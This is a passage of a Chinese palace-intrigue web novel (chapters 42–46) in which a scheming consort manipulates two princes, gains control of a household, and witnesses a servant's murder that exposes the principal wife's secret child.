皇上冷哼,宛若隔岸观火,“亵渎神像,污蔑皇子,断不可轻饶!把睿王妃关进诏狱,直到查出真相为止!” 第42章 处置赵婉宁 “臣妾冤枉啊……”夏子萱的脸蛋肉眼可见地褪去血色,可已然没有方才的慌张。 北镇抚司掌管诏狱,把她关进诏狱,相当于送她回家了。 睿王拱手,胸有成竹道:“儿臣必当查出幕后黑手!” “陛下,睿王掌管北镇抚司,若是有人攀咬睿王包庇睿王妃,徇私枉法该如何是好?”云清婳的语气充满了关怀。 这让裴墨染内心一怔。 皇上捋了捋胡子,缓缓道:“此事稍后再议。” 很快,夏子萱哭喊着被侍卫拖走。 睿王的眼神死死盯着云清婳,像是恨不得把她灼出两个窟窿。 …… 祭祀结束后,众人有序地离开神殿。 云丞相、祝国公以及裴云澈立即上前关怀裴墨染。 裴墨染向他们一一道谢。 “墨染,方才本王跟母后担心火上浇油,所以没有求情。”裴云澈伸出手轻拍了下他的肩膀。 裴墨染的神情尽是信赖,可袖中的手却紧紧攥了起来,“本王明白,皇兄不必解释。” “你千万别多想。”裴云澈的笑容温润谦逊。 “方才多亏了蛮蛮。”裴墨染嘴角含笑,深深地看向云清婳。 眼神灼热,像是汩汩的温泉,似乎含了几分深情。 赵婉宁的牙齿磨得硌吱硌吱响,她的脸色气得青一阵白一阵。 这个贱人! 居然敢抢她的风头! “……”云清婳垂下眼,情绪淡然。 云丞相以及几位公子看到赵婉宁的罗裙,再看到云清婳的打扮,脸沉了下来。 裴云澈的眼神也尖锐了几分。 这身蜀锦,若不是裴墨染说要送给蛮蛮,他是不会让出来的。 没成想竟被赵婉宁抢了去! 蛮蛮究竟受了多大的委屈? “妹妹,你何时喜欢鹅黄色了?”云二公子向来宠爱云清婳,实在没忍住说了一嘴。 云丞相、云大公子责怪地瞪了他一眼。 云清婳侧过脸去,端庄中带着几分隐忍。 “……”裴墨染顿感窘迫,有些抬不起头。 他心里对赵婉宁的不满如一滴墨落在宣纸上,墨迹四散。 方才,赵婉宁究竟在做什么? 为什么一言不发,连求情都不会吗? 居然要侧妃顶头阵。 他心中对云清婳的愧疚也随之扩大。 蛮蛮方才冒着冲撞圣上的风险为他撇清嫌疑,翻转局势,可他却一而再再而三地纵容婉宁伤害她。 甚至她差点挨了婉宁的巴掌,可婉宁没有惩罚,她反而被他训斥了一番。 “王妃,本王跟蛮蛮还有要事,你先回府。”裴墨染疏离道。 方才云家那么帮他,他必须得拿出一个态度。 赵婉宁有些不服气,明明她才是正妃,凭什么让她走? “王爷可是要给母后请安,臣妾也想陪您。”她娇声道。 裴墨染再也压不下怒气,他斥道:“别让本王说第二遍。” 赵婉宁还是第一次被他当众责骂,她像是被打了一巴掌,脸蛋臊得烧红,恨不得找条地缝钻进去。 她甩袖,委屈道:“青花,我们走!” 瞬间,周围的男人脸都黑了。 裴墨染的眼神骤然一暗,他的声音陡然提高,怒吼道:“你管她叫什么?” “……”赵婉宁吓懵了,呆呆地看着他,眼泪却先一步落下。 青樱扑通一声跪在地上。 “回王爷,她是王妃的贴身婢女,原名叫青樱,可王妃给她改名叫青花,已经叫了好多日了,全府都知道!”飞霜怒目圆睁,愤愤不平地说。 云清婳含着泪,转身快步走了。 裴墨染的心上像是积了一口瘀血,让他喘不上气。 他在云家人面前更加抬不起头了。 方才云家倾尽全力保他,可他却没有保护好蛮蛮,让婉宁如此作贱他们的掌上明珠。 云丞相没有表情,只是缄默地看着,等着他表态。 “赵婉宁,你善妒无德,百般寻衅,即日起禁足一个月。”他的眼神中尽是厌恶。 赵婉宁的心像是被生生剜了出来,眼泪止不住地流,“王爷,您……” 他生怕她又说出什么上不得台面的话,厉声打断:“送王妃出宫!” “是!”青樱强行拽着赵婉宁走了。 裴墨染自然不会跟云家赔礼。 君臣有别,云家权势再大,也不过是臣子。 他给了台阶,云丞相自然会下。 …… 云清婳躲到了花园的假山后,泣涕涟涟。 裴云澈追了上来,他心疼地抱住她,“蛮蛮,你受苦了!裴墨染这个混账,居然放纵贱妇如此辱你,他真是有眼无珠。” “妾身有时恨不得一死了之,可想到您,只能苟且偷生。”她将脸埋进他怀里,泪水打湿了他胸口的布料。 裴云澈从袖中拿出一条紫冰珊瑚玉手串,他为她戴上,“这是本王托人寻的,京城只此一串,蜀锦日后还会有的。裴墨染不能给你的,本王给。” 她欢喜地抬手看着手串,心里感叹训练这条疯狗的效果立竿见影。 果然啊,男人就是贱。 还是得让裴云澈感受到危机感,吃吃醋,他才会学乖。 “殿下,我真的好讨厌裴墨染跟赵婉宁。”她哑声诉苦。 裴云澈揩去她脸上的泪痕,信誓旦旦道:“蛮蛮,你今日做得很好。待本王上位,必会为你报仇。裴墨染似乎起了野心,居然要起了官职,着实恼人!” 他温润的伪装褪去,露出其中的锋芒。 云清婳意外于他的转变。 以前他总会顾忌手足之情,可经过撞见她跟裴墨染的温存后,他居然主动说会报复裴墨染。 啧,男人的妒忌真可怕。 送走了裴云澈,很快就迎来了裴墨染。 裴墨染方才被皇后召去翊坤宫安抚了一番,皇后甚至还流了泪,他演完母慈子孝的戏码就来找她了。 “蛮蛮。”他的声音干涩。 一时之间,心怀愧意,他竟有些不敢上前。 他上阵杀敌时不怕,被敌人围剿不怕,中了埋伏也不怕。 但此刻,他居然有了一丝丝惧意,他不想面对她失望、冰冷的眼神。 云清婳转过身,红着眼看他,“您怎么来了?爹爹没有冒犯您跟王妃吧?” 都这个时候了,她还在为别人考虑。 裴墨染长叹了口气,被她湿漉漉的双眼看得心软成了一滩烂泥。 他败下阵来,“都是本王不好,蛮蛮从来没有错,昨日是王妃善妒鲁莽。日后王妃若是再欺负你,你可以生气可以回嘴,但千万别伤了自己。” “本王已经让王妃禁足了,日后你受了委屈,尽管跟本王说,就算是王妃也不可伤你分毫。” 云清婳的眼泪扑簌簌地流。 他弯下腰,与她平视,为她擦去眼泪,“昨日本王不该训斥蛮蛮,是本王错了。” 云清婳发现两条狗都被训得不错。 裴墨染的认错态度越发好了,以前他只会让她忘了。 她吸吸鼻子,小心翼翼地抬眼看他,“这也是王爷拿妾身气王妃的手段吗?” 他气闷的胸口疼,一拳砰地砸在了假山上。 这话把裴墨染气得半死。 简直是耻辱! 女人可以宠着,但绝不能上心。 他虽然看重赵婉宁,但绝对不会像她说的那般,满脑情爱,还故意找蛮蛮气她。 可笑! 裴墨染捧着云清婳的小脸,看着她清澈的眸,“王妃的糊涂话,你当真了?你宁可信她,都不信本王?蛮蛮的心意本王知道,本王也心悦蛮蛮,跟旁人无关。” 第43章 夺管家权 云清婳像是被突如其来的表白给臊到了,她转过脸,“我可不心悦您。” 裴墨染有些气急败坏,她真是恼人。 一次又一次激怒他,可他偏生拿她没办法。 “蛮蛮方才顶着不敬之罪为本王洗清冤屈,本王很感动。”他抱着她,双臂不断收紧力气。 在那一刻,他感觉他跟蛮蛮的心是贴在一起的。 她明明那样娇小羸弱,却站在他身前,为他挡风遮雨。 云清婳明白张弛有度的道理,裴墨染现在对她的感情不深,她一直端着,他耐心耗尽后会适得其反。 她环着他的窄腰,“妾身不想大昭战神被人污蔑成灾星,会让人寒心的。” 他的心脏一颤,她的话戳中了他的心。 其他皇子在京城坐而论道,指点江山时,他在西北用血肉庇佑山河。 他们在宫宴上品珍馐佳酿时,塞外的黄沙正不断灌进他的咽喉。 十年血战,换来大昭太平,可到头来,却说他是灾星。 滑天下之大稽! 裴墨染不想继续这个话题,他在她的鬓角落下轻吻,话锋一转:“方才你跟喜枝说了什么?为何她轻易招了?” 云清婳用食指戳着他的胸口,“上次秋狝被睿王冤枉后,妾身就命人调查他们的心腹。方才妾身只是背出喜枝的家人名字,她就被吓到了。” “蛮蛮聪慧。”他觉得怀中的人闪闪发光,像一个瑰宝,让他愈发喜爱。 他忍不住在她的脸颊上亲吻,她连连避让,“别让人看见!夫君一定也有主意,只是妾身性子急罢了。” 裴墨染的双眼晦暗不明。 他的确有主意,那便是被圈禁后,养精蓄锐,训练私兵。 等他再出去,京城就该变天了。 “走!”裴墨染抓住她的手腕,快步往外走。 “去哪里?”云清婳茫然不解。 他的步履轻快,衣袂翩飞。 云清婳完全跟不上,腿都快被他扯得飞起。 …… 慈宁宫。 太后才清修回宫,舟车劳顿,还未休整好便被裴墨染叨扰。 她坐在上首,笑面慈祥,可嘴上却责怪道:“你呀,整日只会闹哀家。” 裴墨染扑通一声跪下。 突如其来的举动,让太后跟云清婳皆是一愣。 “孙儿想向皇祖母讨一件宝贝。”裴墨染诚恳道。 太后矍铄的双眸闪过精光,她笑瞥着云清婳,埋汰道:“真是冤家!还问哀家要起赏赐了?你想要何物?” “孙儿记得父皇年关时送了皇祖母一匹蜀锦,孙儿想送给蛮蛮。”裴墨染扭过脸,真挚地看向云清婳。 云清婳闻言,惊讶得瞪圆了眼,她连忙跪下,“不!皇祖母,王爷是说笑的,您别怪罪。” 裴墨染的大掌包裹住她的手,坚定地说:“本王没有说笑!皇祖母,您便赏赐给孙儿吧。蛮蛮自从嫁进门受了不少委屈,本王想待她好。” “……”云清婳捂着脸似是感动地抽泣起来,肩膀颤动。 太后跟桂嬷嬷欣慰地笑了。 裴墨染连忙给云清婳擦眼泪,“怎么哭了?皇祖母又不会降罪。” “你待清婳好,清婳反而哭了,可见你平日让她受了多大的委屈。”太后不留情面地数落,“你倒是聪明,拿哀家的东西做人情。” 裴墨染混不吝地笑了。 他是知道的,这匹蜀锦,原是虞贵妃跟皇后争夺的不可开交,父皇无奈,才送给皇祖母的。 听说颜色花哨,皇祖母并不中意。 太后怜惜地扫过云清婳,她摇摇头,“墨染,这匹蜀锦,哀家赏不了。” 他的剑眉一蹙,正想张口询问,桂嬷嬷便道:“这匹蜀锦是红色的,云侧妃穿不得。” 官宦人家的女眷穿红戴绿也没什么,可若是碰到小心眼的主母,难免会寻侧室的麻烦。 赵婉宁正是搅家精,绝对会借题发挥。 裴墨染一噎,他信誓旦旦道:“无妨!蛮蛮想穿什么便穿什么,本王看谁敢不满!” “王爷,皇祖母必不会有错,妾身听皇祖母的。”云清婳哑声说。 她着实意外,看来,这一次裴墨染是动了真格。 他对赵婉宁的情谊已经快消磨殆尽了。 “墨染,你若真想对清婳好,不是赏她一匹布一支珠花,你好好想想,该给她什么。”太后摆摆手,示意他们退下。 “孙儿跪安。” “臣妾跪安。” 裴墨染、云清婳异口同声。 云清婳暗暗松了口气,幸亏太后没有赏赐下来。 她想要的可不是一块布。 男人的权跟钱在哪里,爱就在哪里。 想必,太后跟她想到了一处。 裴墨染带着她去求赏没求到,还被拂了面子,他更加觉得亏欠。 他急着想补偿她。 “夫君,妾身什么都不要,您别再闹了。”她觉得有些丢人,声音极小。 他疼惜地望着她。 一回到府邸,裴墨染便牵着她的手,去了花厅。 他召见管家。 “见过王爷、云侧妃。”管家恭敬地行礼。 裴墨染的声音陡然拔高,“日后府中中馈,交由云妃打理。” 管家并没有多震惊。 这是意料之外,情理之中的。 方才正妃被禁足,他们就知道肃王府变天了。 “可是……这不合规矩。”云清婳似乎被吓到了,她温吞地说。 裴墨染捏着她的手心,“本王的规矩才是规矩,这些狗奴才,阳奉阴违,早该处置了。” 她的眼底流动着欣慰的光。 裴墨染果然听懂了太后的暗示。 管家权,她早就想要了。 “妾身定不负王爷的嘱托。”她福身。 裴墨染将她搂进怀里,“蛮蛮贤惠大度,有你掌管中馈,本王放心。” 一箱箱账本、印章被从清心阁抬去玄音阁。 赵婉宁气得砸碎了一屋瓷器。 风声传到玄音阁时,云清婳正趴在榻上看话本子。 飞霜嗤笑,“这就是无能狂怒!” 裴墨染从浴室进入寝殿,绕过屏风,便看见云清婳托着下巴,趴在榻上,黑鸦鸦的青丝披在脑后,她穿着绸白亵衣,领口微敞,其中的丰腴若隐若现。 她的脚丫在空中悠悠地晃着,脚趾泛着淡粉,莹润如玉。 他顿感口干舌燥,喉结上下滚动。 这样的媚态,自然不是无意形成的。 云清婳有意为之,想要给他些奖励。 他今日做得很好。 第44章 蛮蛮有喜了? 裴墨染走到榻前,阴影从头顶落下,遮住了书上的光线。 云清婳挺着颈子,抬起小脸,不满地嘟囔:“挡着光了。” “嗯。”他哑声应了。 上榻后,裴墨染目光灼热地看着她,就像是一头野兽,想要一口吞掉羊羔崽。 云清婳并未察觉危险的到来,仍旧全神贯注地看着书。 突然,他按着她的肩膀,将小人儿推倒,禁锢在身下。 云清婳惊呼一声,挣了挣,脸蛋通红,“您欺负人,上次说好让妾身休息几日的。” 裴墨染年轻气盛又体力超群,虽然二人神魂契合,可每夜都把她折磨得死去活来。 任谁也吃不消。 他顿了顿,当时正在兴头上,自然她说什么是什么。 “本王这是疼爱蛮蛮,况且今日皇祖母说了,让本王给你长子。”他的唇落在她耳边,说得冠冕堂皇。 云清婳白了他一眼,“皇祖母才没说。” 裴墨染的吻落在她的颈间、肩膀上,她的娇躯随之轻颤,双目失焦,眼尾噙泪。“蛮蛮,给本王生一对儿女,女儿最好像你。” “嗯……”她的身子早已软成了一滩水,似抗拒似应承。 孩子,当然不会有。 她一直在喝避子汤。 她不是好人,凡事都会计较利益得失。 孩子的出现,必须得换来巨大的好处,否则免谈。 轻易得到的,男人是不会珍惜的。 他已然熟悉她的身子,就跟参破兵书一般,融会贯通,行兵如神,而她节节溃败,娇啼求饶。 帐中的春意葳蕤,系在如意钩上的宫铃发出清脆的响声,时急时缓,连绵不断。 …… 过了子时,寝殿才重新归于宁静。 云清婳用锦衾裹着身子,只露出洁白的肩头,她脸上挂着泪珠,像是被风霜凌虐的小白花。 “别气了。”裴墨染讨好地吻去她眼角的泪。 她伸出纤细的食指,用指甲戳着他的心口,颤声道:“裴墨染,坏人!” 他不仅不想怪罪她的不敬,反而觉得有种别样的风趣。 已经很久没人连名带姓地唤过他了。 “好,本王是坏人。”裴墨染贱兮兮的将脸贴着她的脸,“蛮蛮觉得第二次好,还是第三次好?” 他简直是无师自通,成天变着花样欺负人。 云清婳想到方才,小脸唰得又红了,她吞吞吐吐道:“夫君怎么样都好。” 一股火气窜了上来。 裴墨染的心像是被小猫狠狠挠了下,眼中有什么在翻涌。 云清婳瑟缩了下,“夫君,真的不行了。” 他看向她小巧的脚,攥住了她的脚踝。 她吓得一颤,可无力挣扎。 云清婳只能在心里痛骂狗男人变态! …… 裴墨染借着祭祀大典的事,向皇上请奏想要彻查亵渎神像一案。 再加上有云丞相、祝国公的上书,皇上将北镇抚司暂时交由裴墨染掌管。 而睿王被停职。 裴墨染心情颇好,对云清婳更是爱重有加。 …… 半个月过去,云清婳还是无孕,府医、太医轮番看过,开了药也没用。 而另一边,虞贵妃抱上了孙子,皇上也去抱了小世子几次。 皇后着急了,因为裴云澈府上的苏妃小产了,云清婳也没动静。 莫大的不安,笼罩在她的心上。 裴云澈也烦闷不已,一想到裴墨染为了子嗣,会每日临幸蛮蛮,他就心如刀绞。 于是,皇后送来了一本册子,册上全是她精心挑选的世家女子。 裴墨染看后,大为震怒,当即进宫去见皇后。 而此时,云清婳正慵懒地躺在贵妃榻上,悠悠地吃着橘子。 “主子,当心胃酸,少吃些。”飞霜发觉主子越来越爱吃酸的了。 云清婳嗅着橘子的清香,觉得心旷神怡,“无妨。” “您说王爷气什么?有美人入府,不是正合他意吗?”飞霜不解地问。 她戏谑道:“被当成配种的马,谁乐意啊?皇后怎么不给裴云澈纳这么多妾?因为她怕女人多了,败她宝贝儿子的底子。” “唉,皇后可真是……”飞霜不知怎样评价,“主子,您不急嘛?美人入府,乱花迷人眼,恐怕王爷会分心。您还怎么拿下王爷?” 云清婳嗤嗤地笑了,“说起来,我应该感谢赵婉宁,有她恶名在外,嫁来府邸的能是什么狠角色?” 飞霜恍然大悟。 就凭赵婉宁,好人家也不舍得把嫡女嫁过来,嫁来的恐怕都是不受宠地庶出或者门楣低微的官家。 “宝音怎么样了?”她挑眉。 飞霜凑近她的耳畔道:“段南天假装是赵婉宁派来的刺客,宝音吓得半死,死里逃生,信了三分。她一直猫在府外,想亲口质问赵婉宁呢。” 云清婳眼底跳动着兴奋的光,真相,快要被揭开了呢。 “放她进来。” “是。” …… 裴墨染回府后,径自去了玄音阁。 他的脸上像是覆盖了一层薄薄的冰霜,周身散发着生人勿近的气场。 方才他质问皇后,为何不经过他的允许就塞人进府。 可皇后一哭,一说前十二年教养他的心酸,他就哑口无言,只能装出愚孝的模样,百依百顺。 如此也好,日后为了笼络朝臣,只会有更多的女人入府。 这个口子,是皇后开的,日后他拉拢任何人,皇后跟裴云澈也无话可说。 只是,不知为何,他竟觉得有些难以面对蛮蛮。 就像做了对不起她的事。 “蛮蛮。”裴墨染的声音干涩。 云清婳扑进他怀中,环抱着他的腰,红着眼问:“夫君,皇后娘娘可是怪妾身没用?她有没有斥责您?” 他一愣,都这个时候了,她关心的居然是他? 裴墨染用指腹揩去她眼尾的湿润,柔声道:“蛮蛮,你没有做错任何事,是母后太心急了。” “若是妾身有孕就好了。”她闷声道。 裴墨染将她抱到贵妃榻上,他坐在榻畔,“别多想,我们会有的。只是,日后府邸会进新人,要委屈你了。” “妾身会跟她们好生相处,定不让夫君为难。”她挤出一抹笑。 他揉揉她的脑袋,心里莫名不舒服,他嘲弄地说了一句,“你倒是想得开。” 她乜了他一眼。 说得好像她只要不愿意,裴墨染就能不纳妾似的。 贴身太监看着二人的相处,觉得他们像极了老夫老妻,嘴角欣慰地上扬。 “呕……” 忽地,云清婳的胃痉挛,干呕了一声。 贴身太监的脸色变了又变,“云侧妃莫不是……有喜了?” “快传太医!”裴墨染愁容一改,眼底灼热的握着云清婳的手。 第45章 惊天秘密! “夫君,我才没怀孕,您别小题大做……”云清婳红了脸。 裴墨染俯下身,他的额抵着她的,手因为激动都在颤抖,“蛮蛮别怕,让太医给你看看。” 少顷,太医来了,他给云清婳把了脉,恭敬道:“云侧妃的脉象不像有孕,看起来倒像是伤了胃。” 裴墨染伸手给她揉着胃部,动作温柔,“快开些养胃的方子。” “是。”太医立即去办。 云清婳垂下眼,露出愧疚的神色,“妾身又让您失望了。” “怎会?”裴墨染将她搂进怀里,眸色晦暗,“疼不疼?日后别吃那么多零嘴,当心伤了身子。” “不疼。”她倚靠在他怀里。 狗男人应该很失望吧? 失望就对了,只有经历一次次的失望,才会珍惜啊。 …… 这一晚,裴墨染异常疯狂。 他恨不得让云清婳立即有孕。 让她有所依傍,免得被旁人欺负了。 云清婳哭着咬他的肩膀,可这更是刺激了裴墨染。 叫水后,云清婳乏力地倚靠在他的怀里。 “夫君,王妃恐怕也听说了此事,她心里肯定难受,您去看看她吧。” 裴墨染心里的躁意更甚,她为何一心只有别人? 就不在乎他吗? 若是换作旁人,早就吃醋了。 “她的心里难受,你呢?”他不喜欢跟她虚与委蛇,想什么就说出来了。 云清婳在他的劲腰上掐了一把,“妾身委屈得很,您可要当心妾身为了争宠,把后宅搅得天翻地覆,让您头疼。” 裴墨染稍稍舒心了点,在她额上落下一吻,“你何须争宠?本王会护着你跟王妃,没人能越到你们前面。” 她抱着他的腰,看似感动不已。 实则,她很不爽。 果然,就算赵婉宁再怎么让他失望,她在他心中也还是有地位的。 她必须要施施压了。 …… 在裴墨染跟皇后讨价还价下,最终只有三个妾室被轿子抬进了府。 分别是京兆尹的庶女沈氏,北镇抚司镇抚使的庶女魏氏以及高丽中军的嫡女崔氏。 这些日子,裴墨染忙着在北镇抚司交接、查案,根本没回过府。 飞霜将调查来的身份背景交给云清婳,云清婳看后,眼中跳动着好奇。 “裴墨染的仗打得真够远的,连高丽都打下来了。”她调侃着。 飞霜颔首,她担忧地分析:“沈氏跟魏氏,您出阁前都见过。听闻崔氏生得极白,舞也跳得好。她们出生都比赵婉宁高,一定不甘心做妾,恐怕都恨不得将您跟赵婉宁取而代之。” “嗯。”她漫不经心地应声。 作为一个现代人,跟其他女人共用一个男人,虽然膈应,但她早就做好了心理准备。 这里是封建古代,要登上权力制高点,要利用裴墨染报仇,还要求他身心干净,岂不是太矫情了? 她又不是来跟裴墨染谈恋爱的! 云清婳开了私库,给她们送了些薄礼。 当日,三人便相约来玄音阁请安。 云清婳从珠帘后走出来时,三人都被她的容貌怔住。 一时之间仿佛天地都失了颜色,时间暂停下来。 “见过云侧妃,没想到您还记得妾身喜欢梅菜饼。”沈沁眼眸晶亮,一派天真。 “阿沁喜欢,我都记得的。”云清婳能成为第一贵女不仅在于自身涵养,更在于她的长袖善舞。 哪怕是京中最不起眼的庶女,她都会记得名字。 沈沁很是感动。 剩下的二人,魏娴谨小慎微,话少恭敬。而崔慧贤截然相反,眉眼间的傲气不容忽视。 人离开后,飞霜迫不及待地问:“主子,哪一位可以为咱们所用?” 云清婳摇摇头,“不急。” “崔氏野心大,魏氏心思深,倒是沈沁似乎很喜欢您。”飞霜分析,“她只是一个爹不疼娘不爱的庶女,一直被嫡女欺压,可您却记得她的名字,够让她感动了。” 云清婳话锋一转,“宝音那边……?” “她跟赵婉宁见过了,赵婉宁果然怀疑她被咱们收买,已经买凶准备动手了。”飞霜道。 云清婳的嘴角勾出一抹弧度,“咱们也该登场了。” …… 玄音阁外。 崔慧贤回头看了眼寝殿,低声嘲讽:“云侧妃虽然貌美,可身无二两肉,难怪怀不上!我可是家中嫡女,我千里迢迢从高丽嫁到这里,可不是与人做妾的!” “你可别乱说,云姐姐是京城第一贵女,福运无双,岂是你一个外邦人能攀扯的?”沈沁愤愤不平地回怼。 “我是嫡女,岂是你一个庶出贱种能攀咬的?”崔慧贤冷笑。 二人大眼瞪小眼,阴阳怪气的互呛。 魏娴厌烦地瞥了她们一眼,悄无声息的走了。 …… 在赵婉宁的禁足解除之日,云清婳向她请示出府。 赵婉宁心平气和地答应了,她一脸真诚道:“云妹妹,之前是我任性,青樱的名字已经改回来了,还请你不要怪罪。” “妾身只愿跟您相安无事。”云清婳与她对视,不冷不淡地说。 这副冷硬的态度,让赵婉宁怒火中烧,她的手握成拳攥的咔咔响,表情狰狞。 云清婳就喜欢看她这副无能狂怒的模样,她含着笑转身离去。 “这个贱人!拿到管家权后,腰杆子都硬了。居然敢对我不敬!”赵婉宁咬牙切齿。 青樱低声劝道:“您何必跟不会下蛋的母鸡置气?等您生下双生子,您就算要天上的星星,王爷都会摘给您。” 赵婉宁被逗笑了,“是了,将三位夫人叫来,本妃要好好利用她们,收拾云清婳。” “是。”青樱感到欣慰。 王妃可是女中豪杰,她只要不拘泥情爱,一定能踩死云贱人。 …… 云清婳去了京郊的白鹿山上香。 黄昏将至,下山回城时,她们在乡间小路上“偶遇”了诸葛贤。 诸葛贤每日下职都要去酒肆打酒。 今日酒肆关门,他便亲自找到了卖酒人家的舍里。 “诸葛先生?”云清婳掀开车帘,恭敬地唤道。 诸葛贤一抬眼,有些惊讶,立即拱手,“见过云侧妃。” “先生不嫌弃的话,我载您一乘吧?”云清婳不给他拒绝的机会,“先生的腿疾初愈,不可长途跋涉。否则,夫君若是知道会怪我的。” 诸葛贤鞠了一躬,“云侧妃心善,多谢体谅。” 马车行了小半个时辰,快到城门时,不远处的树林中传来呼救声。 “啊……救命啊……” 飞霜一颤,“主子,这声音好耳熟啊。” 云清婳立即命车夫停车,她拉开车帘一看,“我也觉得耳熟。先生,不如……” “唉……”诸葛贤沉吟一声,“侧妃心善,可若是伤了您该如何是好?” “先生留步,我带着车夫去看一眼,若是有虞我们就跑。”云清婳说着便下了马车。 车夫是肃王府的护卫,他从腰间拔出一把刀,“先生放心,有属下在,王妃必不会出事。” 树林中,宝音摔到了地上,惊恐大叫。 蒙面大汉握着大刀,就要朝她砍去。 “住手!”云清婳呵斥。 黑衣人眼风一厉,挥刀就直奔云清婳劈去。 车夫挺身而出,挥刀跟黑衣人缠斗起来。 “快跑!” 云清婳抓住宝音的手就往丛林深处跑去。 宝音像是抓住了最后一根救命稻草,哭道:“云侧妃,求您救我,只要救了我,我可以告诉您一个惊天秘密!” 第46章 震惊!赵婉宁竟然…… 可很快,二人跑到了丛林尽头。 面前的是一汪绿幽幽的深潭。 宝音抖如筛糠,不断地回头看,“求您救我!是赵婉宁,是赵婉宁要杀我!” “呜呜呜云侧妃,您一定有办法救我……” “赵婉宁为何要杀你?”云清婳云淡风轻地反问。 宝音的唇瓣颤抖,欲言又止,“因为……啊……” 咻—— 一支箭从后面猝然穿过了宝音的胸口,“呃……” 宝音的眼珠子都快瞪出来,胸口的鲜血不断扩散,染红了衣襟。 她双腿跪地,腾地倒下,眼神中积攒了满满的怨恨。 为什么赵婉宁要这么对她? 她对赵婉宁忠心耿耿啊! 为什么?! 她死死抓住云清婳的裙摆,努力从喉咙里挤出声音,“赵婉宁一直不侍寝,是因为她生过孩子,下身裂烂……孩子七岁了,就在……” 话音戛然而止,宝音两眼一翻,没了气息。 “啊……”云清婳状似惊恐。 她捂着嘴,一抬头,只见飞霜、诸葛贤都赶来了。 二人的面色铁青,明显也被宝音的话吓到。 云清婳想过赵婉宁养小白脸,想过赵婉宁玩得花,有特殊癖好。 可万万没想到,她居然这么大胆,居然把孩子生下了。 “先生,这、这……呕……”云清婳扶着树干呕。 飞霜忙不迭扶住她,拍抚她的背,“主子,莫怕。” 诸葛贤是认识宝音的,她是赵婉宁的心腹,在西北时常伴赵婉宁左右。 他沉着脸,“云侧妃可有主意?” 云清婳的唇色惨白,失神地摇头,“或许宝音气愤王妃赶她出府,所以污蔑王妃。” “……”诸葛贤的双眼讳莫如深。 他一路缄默,似乎在酝酿什么。 云清婳掩饰住嘴角的弧度。 今日这出戏,她的目的不在于揭发赵婉宁的罪行。 而是把诸葛贤拉入她的阵营。 裴墨染最敬重诸葛贤,诸葛贤的话,他一定会信。 只要等诸葛贤查明事实,他必会揭发。 这只是时间问题。 …… 云清婳一回府就告病,在玄音阁上了锁。 而今日,裴墨染也终于回府了。 他的酷刑,可比北镇抚司的花架子残酷得多。 本来夏子萱都快松口了,可睿王派人将夏子萱暗杀了,亵渎神像一案只能被迫结案。 不过,他原本也没想把睿王党按死。 留着睿王跟裴云澈互掐,他坐山观虎斗,岂不快哉? 管家前来迎驾。 裴墨染扫了一圈,“云妃呢?” “云侧妃告病,不过她留得有话给王爷。今日王妃解禁,还望您看看王妃。”管家道。 裴墨染的脸沉了下来。 这些女人为何都这样? 给了点权力便恃宠而骄,居然教他做事? 裴墨染最终还是去了清心阁。 赵婉宁看到裴墨染,喜极而泣,娇弱地扑进他的怀里,“王爷,臣妾知道错了,臣妾今日已经跟云妹妹道歉了。” 他微不可闻地叹了口气,他威严的说:“婉宁,这是最后一次了,不能再犯了。” 因为下次再犯,他们之间就没有所谓的情谊了。 “臣妾知道了。”在他看不到的角度,赵婉宁的表情狰狞阴狠。 “府里进了新人,日后你多担待些。”裴墨染道。 赵婉宁颔首,她乖顺地说:“臣妾今日见过几位妹妹了,赏了些玩意儿。王爷,想必云妹妹也很委屈,您一定要去安慰一番。” 裴墨染欣慰不已,看来禁足的这一个月,婉宁真的长进了。 不过想到蛮蛮装病,还把他推给别人他就窝火。 这个死没良心的! 半个月没见他,就不想吗? “她大度得很。”他阴阳怪气起来。 赵婉宁心里窃喜。 趁着裴墨染用膳,她跟青樱去屏风后捯饬了半晌。 等晚膳撤掉后,裴墨染正欲离开,婢女却将门窗阖上。 赵婉宁从屏风后缓缓走出来,她穿着轻薄的亵衣,胸口的丰腴呼之欲出,她的双颊扫了淡淡的胭脂,昏黄的烛火映照在她的脸上,让她的脸显得愈发温柔。 “王爷……”赵婉宁娇声唤道。 裴墨染看着她,可却心里没有半分情欲,甚至觉得索然无味。 “婉宁。”他尽量让脸上的线条柔和下来。 夫妻敦伦是再正常不过的。 他不应该拒绝,不应该拂了婉宁的面子。 “王爷,之前是臣妾不好,臣妾想伺候您,为您生儿育女。”赵婉宁扑进他的怀里。 一股香粉味混着头油香气,冲得他脑袋疼。 裴墨染后退半步,已经忍耐到了极限,“咳咳……” “王爷,臣妾伺候您沐浴吧。”赵婉宁将手挪到他的腰间,想解开他的腰带。 可他扼住了她的手腕,“婉宁,本王还有政务,下次吧。” 裴墨染不等她的反应,转身离去。 赵婉宁看着他渐行渐远的背影,屈辱的眼泪不停地掉。 “贱人!她究竟给王爷下了什么迷魂药?”她哭喊着咒骂。 青樱思考了半晌,怯生生地说:“王妃,不如下次……咱们给王爷下点药?” 赵婉宁的眸子一颤,她斥道:“住口!给王爷下药,你有几个脑袋够砍?” “奴婢失言。”青樱跪下磕头,“可是时间不等人啊!” 赵婉宁讳莫如深。 …… 裴墨染本想回寝殿,可在岔路口,还是鬼使神差的去了玄音阁的方向。 他命人不准通传。 还没进寝殿大门,便听见里面传来杂乱的笑声。 门内,几个婢女趴在床榻前,说着笑话。 云清婳被她们逗得咯咯直笑。 她的双眼清澈灵动,双颊绯红,虽然穿着亵衣,发髻披散着,但根本不像病态。 飞霜还端着碗,见缝插针地哄她喝汤。 这个侧妃当的,比他堂堂肃王还快活! “云妃就是这样养病的?”裴墨染推开门,黑着脸讥讽道。 所有婢女吓得跪地叩首。 “滚!”裴墨染冷如冰珠地吐出出一个字。 众人连滚带爬地跑了出去。 云清婳看似意外他的到来,她茫然道:“夫君心情不好?” 他不答话,她又转移话头:“您去看王妃了吗?三位夫人进门后,您也没去看过,皇后娘娘都催了好多次了。” 裴墨染冷硬地打断她的话,“你这么听皇后的话作甚?你只需听本王的。” “嗯。”她娇娇软软地应声。 “整日把本王往别处推,你真是可恨!你心里就没有本王吗?嗯?”裴墨染自从对她上心后,说话便喜欢直来直去。 云清婳咬着下唇,“……” 裴墨染有些恼了,她总是这样装傻,“好,本王换个问题,你今日为何装病?你为何骗本王?” 云清婳垂下脑袋,还是沉默。 她就是要激怒裴墨染,钓着他玩,让他发脾气,然后知道真相,再回头来哄。 这样,他才会常觉亏欠。 “好!你不想见本王,就一直在这里装病吧。”裴墨染甩袖,还故意把门狠狠一甩。 砰—— 关门声着实响。 惊飞了树枝上的鸟雀。 婢女纷纷跪下。 